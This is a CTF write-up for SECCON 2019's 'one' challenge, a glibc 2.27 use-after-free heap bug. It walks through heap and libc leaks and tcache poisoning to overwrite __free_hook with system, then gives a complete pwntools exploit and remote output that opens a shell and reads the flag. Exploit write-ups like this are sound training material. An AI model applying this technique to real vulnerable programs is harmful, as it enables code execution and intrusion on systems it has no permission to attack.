I didn’t get much time this weekend for this CTF due to having to study for two tests. I only spent a couple hours and managed to solve one and sum, the two easy pwn challenges.

one was a glibc 2.27 heap exploitation challenge. It has a UAF vulnerability when freeing a chunk.

The restriction that makes this challenge interesting is that you can only ever have a pointer to one malloc’d chunk at a time.

Challenge

  • Category: pwn
  • Points: 264
  • Solves: 68

Host : one.chal.seccon.jp Port : 18357

Solution

The binary itself is not stripped, making it very easy to reverse engineer. It has all protections set:

vagrant@ubuntu-bionic:/ctf/seccon-2019/one$ checksec one
[*] '/ctf/seccon-2019/one/one'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

It has the following functionality:

  • add: malloc’s a 0x40 sized chunk and stores a pointer to it in the global variable memo. Let’s you read in 0x3f bytes into it using fgets. Any time a new chunk is malloc‘d, the global variable is overwritten with the new chunk.
  • show: Uses puts to output the content of the chunk that the global variable memo currently points to. Checks to make sure memo is set first.
  • delete: Frees the chunk pointed to by the global variable memo. Checks to make sure memo is actually set first. Does not zero out memo after the freeing.

Knowing all of this, the steps to exploitation are as follows:

  1. Get a heap leak.
  2. Use the heap leak and the tcache poisoning attack to get a chunk at a heap address where we have a forged 0x91 sized chunk.
  3. Free this 0x91 sized chunk 7 times to fill up the 0x80 tcache bin. Free one more time to get a libc leak.
  4. Do a tcache poisoning attack to overwrite __free_hook to system.
  5. Free a chunk whose first 8 bytes are '/bin/sh\x00' to call system('/bin/sh\x00') and get a shell.

First, the heap leak is easy. I added one chunk and freed it four times to get the leak. The reason I freed four times is because we’re going to do two tcache poisoning attacks soon, and those will mess up the count that the 0x40 tcache bin keeps (of the number of chunks in that specific bin). We free four times to make the count go up to 4, so that when we do the tcache poisoning attacks later, the count actually fixes itself.

After the four frees, simply showing this chunk will give us a heap leak since its FD pointer will point to itself:

# ----------- Heap Leak ------------
# Prepare
add('A'*0x3e)

# We do four frees to keep the 0x40 tcache bin count correct
for i in range(4):
    free()

# Leak the fourth chunk's address on the heap
show()

heap_leak = u64(p.recvline().strip('\n').ljust(8, '\x00'))
log.info('Heap leak: ' + hex(heap_leak))

Next, we “empty” the 0x40 tcache bin. We do this by first allocating one of our four free chunks from above out of it and setting its FD to null. We allocate again to get the same chunk back, but since the FD was set to NULL, the tcache bin is now empty. However, its count is still set to 2.

# ----------- Libc Leak ------------
# Empty the 0x40 tcache bin first
add(p64(0) + 'A'*8) # Set FD to null here
add('A'*8) # 0x40 tcache bin now empty
# Note that after the above, the 0x40 tcache bin will have count = 2

Next, we create four chunks and make it so that all of them have their FD pointer set to a legitimate value (our heap leak), and also make them all look like they have fake 0x91 sized chunks within them with their PREV_INUSE bits set:

# Create four chunks to prep for libc leak
# Make all of them have fake chunks in them with PREV_INUSE bits set
# And make all of them have valid FD pointers as well
for i in range(4):
    add((p64(heap_leak) + p64(0x91)) * 3)
gef  x/40gx 0x000055cfa8a992c0-0x10
0x55cfa8a992b0: 0x0000000000000000      0x0000000000000051 // Chunk 1
0x55cfa8a992c0: 0x000055cfa8a99270      0x0000000000000091
0x55cfa8a992d0: 0x000055cfa8a99270      0x0000000000000091
0x55cfa8a992e0: 0x000055cfa8a99270      0x0000000000000091
0x55cfa8a992f0: 0x000000000000000a      0x0000000000000000
0x55cfa8a99300: 0x0000000000000000      0x0000000000000051 // Chunk 2
0x55cfa8a99310: 0x000055cfa8a99270      0x0000000000000091
0x55cfa8a99320: 0x000055cfa8a99270      0x0000000000000091
0x55cfa8a99330: 0x000055cfa8a99270      0x0000000000000091
0x55cfa8a99340: 0x000000000000000a      0x0000000000000000
0x55cfa8a99350: 0x0000000000000000      0x0000000000000051 // Chunk 3
0x55cfa8a99360: 0x000055cfa8a99270      0x0000000000000091
0x55cfa8a99370: 0x000055cfa8a99270      0x0000000000000091
0x55cfa8a99380: 0x000055cfa8a99270      0x0000000000000091
0x55cfa8a99390: 0x000000000000000a      0x0000000000000000
0x55cfa8a993a0: 0x0000000000000000      0x0000000000000051 // Chunk 4
0x55cfa8a993b0: 0x000055cfa8a99270      0x0000000000000091
0x55cfa8a993c0: 0x000055cfa8a99270      0x0000000000000091
0x55cfa8a993d0: 0x000055cfa8a99270      0x0000000000000091

Next, we do a tcache poisoning attack to get a chunk that is right below one of these 0x91 chunk headers. Using GDB, I found that heap_leak + 0x60 was the right offset.

We then simply free this 0x91 sized chunk 7 times to fill up the 0x80 tcache bin. The final and 8th free will send this chunk to the unsorted bin, which fills the chunk’s FD and BK pointers to the address of main_arena+0x60. We can then simply leak those pointers using show:

# Double free the last chunk
free() # count = 3
free() # count = 4

# Set FD to one of the fake 0x91 chunks
add(p64(heap_leak + 0x60)) # count = 3
add('A'*8) # count = 2
add('A'*8) # Got a 0x91 chunk, count = 1

# Free 7 times to fill up tcache bin, 8th one goes into unsorted bin
for i in range(8):
    free()

# Unsorted bin libc leak
show()
leak = u64(p.recvline().strip('\n').ljust(8, '\x00'))
libc.address = leak - 0x3ebca0 # Offset found using gdb
free_hook = libc.symbols['__free_hook']
system = libc.symbols['system']

log.info('Libc leak: ' + hex(leak))
log.info('Libc base: ' + hex(libc.address))
log.info('__free_hook: ' + hex(free_hook))
log.info('system: ' + hex(system))

The unsorted bin libc leak can be seen in our forged 0x91 sized chunk here:

gef  x/10gx 0x000055bbbae122c0-0x10
0x55bbbae122b0: 0x0000000000000000      0x0000000000000051
0x55bbbae122c0: 0x000055bbbae12270      0x0000000000000091
0x55bbbae122d0: 0x00007f57ed3eaca0      0x00007f57ed3eaca0 <- Libc leak
0x55bbbae122e0: 0x000055bbbae12270      0x0000000000000091
0x55bbbae122f0: 0x000000000000000a      0x0000000000000000

Now that we’ve got our leaks, we can do the final tcache poisoning attack. Remember those first four frees I did? This is where they matter.

Right now, the 0x40 tcache bin looks something like this:

tcache[0x40] count=1  <-  0x55b71cb82270  <-  0x4141414141414141

We currently have a pointer to that 0x91 sized chunk we just used to get the libc leak. However, in order to do the tcache poisoning attack, we need a chunk that we can free into a tcache bin and get back out of it. Since the 0x91 sized tcache bin is full and we can only allocate 0x40 sized chunks, if we malloc again, this next chunk in the 0x40 tcache bin will come out.

The important thing to note here is that when it does come out, the bin count will have 1 subtracted from it. If we didn’t ensure to free four times at the beginning of our exploit, count here would become a negative number. Since it is unsigned, the negative number would be interpreted as a large positive number (in this case, probably 0xff), which would make it seem as if this tcache bin is full. This would prevent us from doing a tcache poisoning attack.

Since we did free four times, the count will go down to 0 when we malloc this chunk out of the tcache bin, which will allow us to double free it and continue on with the tcache poisoning attack. This is why the first four frees were important.

I won’t go into any detail about the tcache poisoning attack, it’s pretty self explanatory:

# Tcache poisoning attack to overwrite __free_hook with system
add('A'*8) # count = 0
free()
free()

# Overwrite __free_hook with system
add(p64(free_hook))
add(p64(0))
add(p64(system))

# Call system("/bin/sh\x00")
add('/bin/sh\x00')
free()

Flag: SECCON{4r3_y0u_u53d_70_7c4ch3?}

Am I used to the tcache? :thinking:

Final Exploit

#!/usr/bin/env python2

from pwn import *

BINARY = './one'
HOST, PORT = 'one.chal.seccon.jp', 18357

elf = ELF(BINARY)
libc = ELF('./libc-2.27.so')

def start():
    if not args.REMOTE:
        print "LOCAL PROCESS"
        return process(BINARY)
    else:
        print "REMOTE PROCESS"
        return remote(HOST, PORT)

def get_base_address(proc):
    return int(open("/proc/{}/maps".format(proc.pid), 'rb').readlines()[0].split('-')[0], 16)

def debug(breakpoints):
    script = "handle SIGALRM ignore\n"
    PIE = get_base_address(p)
    script += "set $_base = 0x{:x}\n".format(PIE)
    for bp in breakpoints:
        script += "b *0x%x\n"%(PIE+bp)
    gdb.attach(p,gdbscript=script)

def add(content):
    p.sendlineafter('> ', '1')
    p.sendlineafter('> ', content)

def show():
    p.sendlineafter('> ', '2')

def free():
    p.sendlineafter('> ', '3')

context.terminal = ['tmux', 'new-window']

p = start()
if args.GDB:
    debug([])

# ----------- Heap Leak ------------
# Prepare
add('A'*0x3e)

# We do four frees to set the 0x40 tcache bin count to 4
for i in range(4):
    free()

# Leak the fourth chunk's address on the heap
show()

heap_leak = u64(p.recvline().strip('\n').ljust(8, '\x00'))
log.info('Heap leak: ' + hex(heap_leak))

# ----------- Libc Leak ------------
# Empty the 0x40 tcache bin first
add(p64(0) + 'A'*8) # Set FD to null here
add('A'*8) # 0x40 tcache bin now empty
# Note that after the above, the 0x40 tcache bin will have count = 2

# Create four chunks to prep for libc leak
# Make all of them have fake chunks in them with PREV_INUSE bits set
# And make all of them have valid FD pointers as well
for i in range(4):
    add((p64(heap_leak) + p64(0x91)) * 3)

# Double free the last chunk
free() # count = 3
free() # count = 4

# Set FD to one of the fake 0x91 chunks
add(p64(heap_leak + 0x60)) # count = 3
add('A'*8) # count = 2
add('A'*8) # Got a 0x91 chunk, count = 1

# Free 7 times to fill up tcache bin, 8th one goes into unsorted bin
for i in range(8):
    free()

# Unsorted bin libc leak
show()
leak = u64(p.recvline().strip('\n').ljust(8, '\x00'))
libc.address = leak - 0x3ebca0 # Offset found using gdb
free_hook = libc.symbols['__free_hook']
system = libc.symbols['system']

log.info('Libc leak: ' + hex(leak))
log.info('Libc base: ' + hex(libc.address))
log.info('__free_hook: ' + hex(free_hook))
log.info('system: ' + hex(system))

# Tcache poisoning attack to overwrite __free_hook with system
add('A'*8) # count = 0
free()
free()

# Overwrite __free_hook with system
add(p64(free_hook))
add(p64(0))
add(p64(system))

# Call system("/bin/sh\x00")
add('/bin/sh\x00')
free()

p.interactive()
vagrant@ubuntu-bionic:/ctf/seccon-2019/one$ ./exploit.py REMOTE
[*] '/ctf/seccon-2019/one/one'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] '/ctf/seccon-2019/one/libc-2.27.so'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
REMOTE PROCESS
[+] Opening connection to one.chal.seccon.jp on port 18357: Done
[*] Heap leak: 0x55571ecaa360
[*] Libc leak: 0x7f620fa82ca0
[*] Libc base: 0x7f620f697000
[*] __free_hook: 0x7f620fa848e8
[*] system: 0x7f620f6e6440
[*] Switching to interactive mode
$ ls
flag.txt
one
$ cat flag.txt
SECCON{4r3_y0u_u53d_70_7c4ch3?}
$